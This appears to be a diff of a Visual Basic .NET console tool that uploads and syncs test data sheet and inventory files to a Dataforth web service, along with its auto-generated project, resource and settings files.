LogMessage = "Uploaded filesize (" & uploadedFilesize & ") does not match local filesize (" & My.Computer.FileSystem.GetFileInfo(localPathFilename).Length & ")"
|
||||
End If
|
||||
Else
|
||||
LogMessage = "Dataforth Service Upload Error: " & ds.Tables("Result").Rows(0)("ErrorMessage")
|
||||
End If
|
||||
Return False
|
||||
Catch ex As Exception
|
||||
LogMessage = "Exception while uploading to Dataforth Service: " & ex.ToString
|
||||
Return False
|
||||
End Try
|
||||
End Function
|
||||
|
||||
|
||||
|
||||
'Public Shared Sub _UploadVideo_(ByVal url As String, ByVal credentials As Net.NetworkCredential, ByVal localPathFilename As String, ByVal nvc As System.Collections.Specialized.NameValueCollection)
|
||||
' Try
|
||||
' Dim client As New WebClient
|
||||
' client.Credentials = credentials
|
||||
' Dim bogus As Integer = -1
|
||||
' Dim requestURL As String = url & "?ecsId=" & nvc.Get("ecsId")
|
||||
' 'requestURL = requestURL.Replace("https://", "http://")
|
||||
|
||||
' Dim response() As Byte = client.UploadFile(requestURL, localPathFilename)
|
||||
' MsgBox(System.Text.Encoding.Unicode.GetString(response))
|
||||
' Catch webEx As WebException
|
||||
' Dim thisE As String = webEx.ToString
|
||||
|
||||
' Catch ex As Exception
|
||||
|
||||
' End Try
|
||||
'End Sub
|
||||
|
||||
|
||||
'Public Shared Sub UploadVideo__(ByVal url As String, ByVal credentials As Net.NetworkCredential, ByVal localPathFilename As String, ByVal nvc As System.Collections.Specialized.NameValueCollection)
|
||||
|
||||
' Dim requestURL As String = url
|
||||
' Dim boundary As String = "----------------------------" & Date.Now.Ticks.ToString("x")
|
||||
|
||||
' 'Create Request
|
||||
' Dim webRequest As System.Net.HttpWebRequest = CType(System.Net.WebRequest.Create(requestURL), System.Net.HttpWebRequest)
|
||||
' webRequest.Credentials = credentials
|
||||
' webRequest.Timeout = 120000
|
||||
' 'System.Net.ServicePointManager.ServerCertificateValidationCallback = (Function(sender, certificate, chain, sslPolicyErrors) True)
|
||||
' 'webRequest.ContentType = "application/x-www-form-urlencoded"
|
||||
' webRequest.ContentType = "multipart/form-data; boundary=" & boundary
|
||||
' webRequest.Method = "POST"
|
||||
|
||||
|
||||
' Dim byteArray As Byte() = File.ReadAllBytes(localPathFilename)
|
||||
' webRequest.ContentLength = byteArray.Length
|
||||
' Dim dataStream As Stream = webRequest.GetRequestStream
|
||||
' dataStream.Write(byteArray, 0, byteArray.Length)
|
||||
' dataStream.Close()
|
||||
|
||||
|
||||
' ' Retrieve data from Response
|
||||
' Dim webResponse As System.Net.HttpWebResponse = CType(webRequest.GetResponse(), System.Net.HttpWebResponse)
|
||||
' Dim sr As New System.IO.StreamReader(webResponse.GetResponseStream(), System.Text.Encoding.UTF8)
|
||||
' Dim responseString As String = sr.ReadToEnd()
|
||||
' MsgBox(responseString)
|
||||
|
||||
'End Sub
|
||||
|
||||
End Class
|
||||
@@ -0,0 +1,264 @@
|
||||
Module Module1
|
||||
|
||||
Private processLog As System.Text.StringBuilder
|
||||
|
||||
Sub Main()
|
||||
processLog = New System.Text.StringBuilder()
|
||||
Dim appSettings As New Configuration.AppSettingsReader
|
||||
|
||||
|
||||
'for testing only
|
||||
'UploadFilesInDirectory("C:\Users\hoffm\Documents\Customer Folders\Dataforth\product lists", "TestFolder")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
'CopyInventoryFilesToStagingFolder()
|
||||
'SyncFolder("InventoryDataFolder")
|
||||
|
||||
SyncFolder("TestDataSheet")
|
||||
|
||||
|
||||
Dim logFilename As String = My.Application.Info.DirectoryPath & "\processLog." & Now.ToString("yyyy.MM.dd.HH.mm.ss") & ".txt"
|
||||
My.Computer.FileSystem.WriteAllText(logFilename, processLog.ToString, False)
|
||||
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub AddToLog(ByVal message As String, ByVal Echo As Boolean)
|
||||
processLog.Append(Now.ToString("MM/dd/YYYY HH:mm:ss | ") & message & vbCrLf)
|
||||
If Echo Then
|
||||
Console.WriteLine(message)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub CopyInventoryFilesToStagingFolder()
|
||||
|
||||
Dim appSettings As New Configuration.AppSettingsReader
|
||||
Dim stagingFolderPath As String = appSettings.GetValue("InventoryDataStagingFolder", GetType(String))
|
||||
Dim srcFolderPath As String = appSettings.GetValue("InventoryDataSourceFolder", GetType(String))
|
||||
Dim filenamesStr As String = appSettings.GetValue("InventoryDataFiles", GetType(String))
|
||||
|
||||
Dim filenames() As String = filenamesStr.Split(",")
|
||||
|
||||
For Each thisFilename As String In filenames
|
||||
Dim src As String = srcFolderPath & "\" & thisFilename
|
||||
Dim dest As String = stagingFolderPath & "\" & thisFilename
|
||||
My.Computer.FileSystem.CopyFile(src, dest, True)
|
||||
Next
|
||||
|
||||
|
||||
End Sub
|
||||
|
||||
|
||||
Public Sub UploadFilesInDirectory(ByVal DirectoryPath As String, ByVal UploadType As String)
|
||||
|
||||
|
||||
|
||||
Dim appSettings As New Configuration.AppSettingsReader
|
||||
Dim username As String = appSettings.GetValue("ServiceUsername", GetType(String))
|
||||
Dim password As String = appSettings.GetValue("ServicePassword", GetType(String))
|
||||
Dim serviceCredentials As New Net.NetworkCredential(username, password)
|
||||
Dim url As String = appSettings.GetValue("UploaderServiceURL", GetType(String))
|
||||
|
||||
|
||||
|
||||
For Each thisFile As String In My.Computer.FileSystem.GetFiles(DirectoryPath)
|
||||
|
||||
Dim formParameters As New System.Collections.Specialized.NameValueCollection
|
||||
formParameters.Add("UploadType", UploadType)
|
||||
|
||||
Dim logMessage As New String("")
|
||||
Console.WriteLine("Uploading: " & thisFile)
|
||||
If HTTPUploader.UploadFile(url, serviceCredentials, thisFile, formParameters, logMessage) Then
|
||||
'this video is now staged
|
||||
AddToLog("Uploaded " & thisFile, True)
|
||||
|
||||
My.Computer.FileSystem.DeleteFile(thisFile)
|
||||
Else
|
||||
|
||||
AddToLog("Upload FAILED for " & thisFile, True)
|
||||
AddToLog("Upload FAIL MESSAGE: " & logMessage, False)
|
||||
Console.WriteLine("ERROR: " & logMessage)
|
||||
End If
|
||||
|
||||
|
||||
Next
|
||||
|
||||
|
||||
End Sub
|
||||
|
||||
Public Sub SyncFolder(ByVal FolderAlias As String)
|
||||
Try
|
||||
AddToLog("SyncFolder(" & FolderAlias & ") started.", True)
|
||||
'get manifest of files that are on server mirror
|
||||
Dim appSettings As New Configuration.AppSettingsReader
|
||||
Dim username As String = appSettings.GetValue("ServiceUsername", GetType(String))
|
||||
Dim password As String = appSettings.GetValue("ServicePassword", GetType(String))
|
||||
Dim serviceCredentials As New Net.NetworkCredential(username, password)
|
||||
Dim manifestServiceUrl As String = appSettings.GetValue("DirectoryManifestServiceURL", GetType(String))
|
||||
Dim uploadServiceUrl As String = appSettings.GetValue("UploaderServiceURL", GetType(String))
|
||||
Dim deleteServiceUrl As String = appSettings.GetValue("DeleteFileServiceURL", GetType(String))
|
||||
Dim testMode As Boolean = appSettings.GetValue("TestMode", GetType(Boolean))
|
||||
|
||||
'Create an XML file to post with the request
|
||||
Dim requestDS As New DataSet("Request")
|
||||
Dim requestDT As New DataTable("RequestData")
|
||||
requestDT.Columns.Add("SyncPathAlias", GetType(String))
|
||||
requestDS.Tables.Add(requestDT)
|
||||
Dim requestDR As DataRow = requestDT.NewRow
|
||||
requestDR("SyncPathAlias") = FolderAlias
|
||||
requestDT.Rows.Add(requestDR)
|
||||
|
||||
'Get Dataset from XML response
|
||||
Dim manifestXML As String = CSFramework_Utilities.XMLData.DownloadXMLWithDatasetPost(manifestServiceUrl, requestDS, serviceCredentials)
|
||||
|
||||
My.Computer.FileSystem.WriteAllText(My.Application.Info.DirectoryPath & "\manifest.xml", manifestXML, False)
|
||||
|
||||
Dim ds As DataSet = CSFramework_Utilities.XMLData.DatasetFromXML(manifestXML)
|
||||
|
||||
AddToLog("Manifest downloaded with " & ds.Tables("ContentFile").Rows.Count & " files.", True)
|
||||
|
||||
'Build a list of files that should be uploaded
|
||||
Dim filesToUpload As New List(Of String)
|
||||
|
||||
Dim localFolderPath As String = ""
|
||||
Select Case FolderAlias
|
||||
Case "TestDataSheet"
|
||||
localFolderPath = appSettings.GetValue("TestDataSheetPath", GetType(String))
|
||||
Case "TestFolder"
|
||||
localFolderPath = appSettings.GetValue("TestFolderPath", GetType(String))
|
||||
Case "InventoryDataFolder"
|
||||
localFolderPath = appSettings.GetValue("InventoryDataStagingFolder", GetType(String))
|
||||
End Select
|
||||
|
||||
Dim discoveryFileCount As Integer = 0
|
||||
Dim discoveryFileEchoCount As Integer = 1000
|
||||
|
||||
Dim sourceFolder As New System.IO.DirectoryInfo(localFolderPath)
|
||||
AddToLog("Accessing local folder: " & localFolderPath, True)
|
||||
|
||||
For Each thisLocalFileInfo As System.IO.FileInfo In sourceFolder.GetFiles
|
||||
discoveryFileCount += 1
|
||||
If discoveryFileCount = 1 Then
|
||||
AddToLog("Found at least 1 file in local folder", True)
|
||||
End If
|
||||
If discoveryFileCount = discoveryFileEchoCount Then
|
||||
AddToLog("Discovery file count: " & discoveryFileEchoCount, True)
|
||||
discoveryFileEchoCount += 1000
|
||||
End If
|
||||
'Dim thisLocalFileInfo As New System.IO.FileInfo(thisLocalFile)
|
||||
|
||||
|
||||
If thisLocalFileInfo.LastWriteTimeUtc.Year = Now.Year Then
|
||||
Dim foundMatchingFileOnServer As Boolean = False
|
||||
If ds.Tables.Contains("ContentFile") Then
|
||||
For Each dr As DataRow In ds.Tables("ContentFile").Rows
|
||||
If dr("Filename").ToString = thisLocalFileInfo.Name Then
|
||||
Dim filesize As Integer = dr("Filesize")
|
||||
Dim datelastupdated As Date = dr("DateLastUpdated")
|
||||
datelastupdated = datelastupdated.ToUniversalTime
|
||||
If filesize = thisLocalFileInfo.Length Then
|
||||
If thisLocalFileInfo.LastWriteTimeUtc.ToString("yyyy.MM.dd.HH.mm.ss") = datelastupdated.ToString("yyyy.MM.dd.HH.mm.ss") Then
|
||||
foundMatchingFileOnServer = True
|
||||
Exit For
|
||||
End If
|
||||
End If
|
||||
End If
|
||||
Next
|
||||
End If
|
||||
If Not foundMatchingFileOnServer Then
|
||||
filesToUpload.Add(thisLocalFileInfo.FullName)
|
||||
AddToLog("Requesting upload: " & thisLocalFileInfo.Name, True)
|
||||
End If
|
||||
End If
|
||||
Next
|
||||
|
||||
AddToLog("Found " & filesToUpload.Count & " files that need to be uploaded.", True)
|
||||
|
||||
'Upload Files to Server
|
||||
If Not testMode Then
|
||||
For Each thisFile As String In filesToUpload
|
||||
Dim thisLocalFileInfo As New System.IO.FileInfo(thisFile)
|
||||
Dim formParameters As New System.Collections.Specialized.NameValueCollection
|
||||
formParameters.Add("UploadType", FolderAlias)
|
||||
'Request("LastUpdatedDate")
|
||||
formParameters.Add("LastUpdatedDate", thisLocalFileInfo.LastWriteTimeUtc.ToString("yyyy-MM-ddTHH:mm:ss.fffffffZ"))
|
||||
'2015-12-11T17:38:05.9190462Z
|
||||
|
||||
Dim logMessage As New String("")
|
||||
Console.WriteLine("Uploading: " & thisFile)
|
||||
If HTTPUploader.UploadFile(uploadServiceUrl, serviceCredentials, thisFile, formParameters, logMessage) Then
|
||||
'this file is now staged
|
||||
AddToLog("Uploaded file: " & thisFile, True)
|
||||
|
||||
'My.Computer.FileSystem.DeleteFile(thisFile)
|
||||
Else
|
||||
|
||||
AddToLog("Upload FAILED for " & thisFile, True)
|
||||
AddToLog("Upload FAIL MESSAGE: " & logMessage, False)
|
||||
Console.WriteLine("ERROR: " & logMessage)
|
||||
End If
|
||||
|
||||
|
||||
Next
|
||||
End If
|
||||
|
||||
|
||||
'Create dataset for DeleteFile service
|
||||
Dim deleteDS As New DataSet("DeleteRequestData")
|
||||
|
||||
|
||||
'add request data
|
||||
Dim deleteRD As New DataTable("RequestData")
|
||||
deleteRD.Columns.Add("SyncPathAlias", GetType(String))
|
||||
Dim deleteDataDR As DataRow = deleteRD.NewRow
|
||||
deleteDataDR("SyncPathAlias") = FolderAlias
|
||||
deleteRD.Rows.Add(deleteDataDR)
|
||||
deleteDS.Tables.Add(deleteRD)
|
||||
|
||||
|
||||
'add filenames
|
||||
Dim deleteDT As New DataTable("Filenames")
|
||||
deleteDT.Columns.Add("Filename", GetType(String))
|
||||
deleteDS.Tables.Add(deleteDT)
|
||||
|
||||
If ds.Tables.Contains("ContentFile") Then
|
||||
For Each dr As DataRow In ds.Tables("ContentFile").Rows
|
||||
Dim localFileName As String = localFolderPath & "\" & dr("Filename").ToString
|
||||
If Not My.Computer.FileSystem.FileExists(localFileName) Then
|
||||
|
||||
Dim deleteDR As DataRow = deleteDT.NewRow
|
||||
deleteDR("Filename") = dr("Filename").ToString
|
||||
deleteDT.Rows.Add(deleteDR)
|
||||
|
||||
AddToLog("Requested " & FolderAlias & " Delete: " & dr("Filename").ToString, True)
|
||||
|
||||
End If
|
||||
Next
|
||||
End If
|
||||
|
||||
AddToLog("Found " & deleteDT.Rows.Count & " files to delete.", True)
|
||||
|
||||
|
||||
'Delete obsolete files that were detected
|
||||
If Not testMode Then
|
||||
If deleteDT.Rows.Count > 0 Then
|
||||
Dim deleteResponseXML As String = CSFramework_Utilities.XMLData.DownloadXMLWithDatasetPost(deleteServiceUrl, deleteDS, serviceCredentials)
|
||||
AddToLog("Obsolete " & FolderAlias & " files deleted.", True)
|
||||
Else
|
||||
AddToLog("No obsolete " & FolderAlias & " files were detected.", True)
|
||||
End If
|
||||
End If
|
||||
|
||||
Catch ex As Exception
|
||||
AddToLog("Exception in SyncFolder: " & ex.ToString, True)
|
||||
|
||||
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
|
||||
End Module
|
||||
@@ -0,0 +1,13 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>false</MySubMain>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<ApplicationType>2</ApplicationType>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,35 @@
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("TestDataSheetUploader")>
|
||||
<Assembly: AssemblyDescription("")>
|
||||
<Assembly: AssemblyCompany("Hewlett-Packard")>
|
||||
<Assembly: AssemblyProduct("TestDataSheetUploader")>
|
||||
<Assembly: AssemblyCopyright("Copyright © Hewlett-Packard 2016")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(False)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("7fe555fe-f768-41e5-b89d-89289692ba0e")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||
@@ -0,0 +1,63 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("TestDataSheetUploader.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,117 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.TestDataSheetUploader.My.MySettings
|
||||
Get
|
||||
Return Global.TestDataSheetUploader.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="14.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{78941EA8-4EF5-4194-99CD-A08CBB7B52FB}</ProjectGuid>
|
||||
<OutputType>Exe</OutputType>
|
||||
<StartupObject>TestDataSheetUploader.Module1</StartupObject>
|
||||
<RootNamespace>TestDataSheetUploader</RootNamespace>
|
||||
<AssemblyName>TestDataSheetUploader</AssemblyName>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<MyType>Console</MyType>
|
||||
<TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
|
||||
<TargetFrameworkProfile />
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<DefineDebug>true</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DocumentationFile>TestDataSheetUploader.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<DefineDebug>false</DefineDebug>
|
||||
<DefineTrace>true</DefineTrace>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DocumentationFile>TestDataSheetUploader.xml</DocumentationFile>
|
||||
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||
<Prefer32Bit>false</Prefer32Bit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionExplicit>On</OptionExplicit>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
<OptionCompare>Binary</OptionCompare>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup>
|
||||
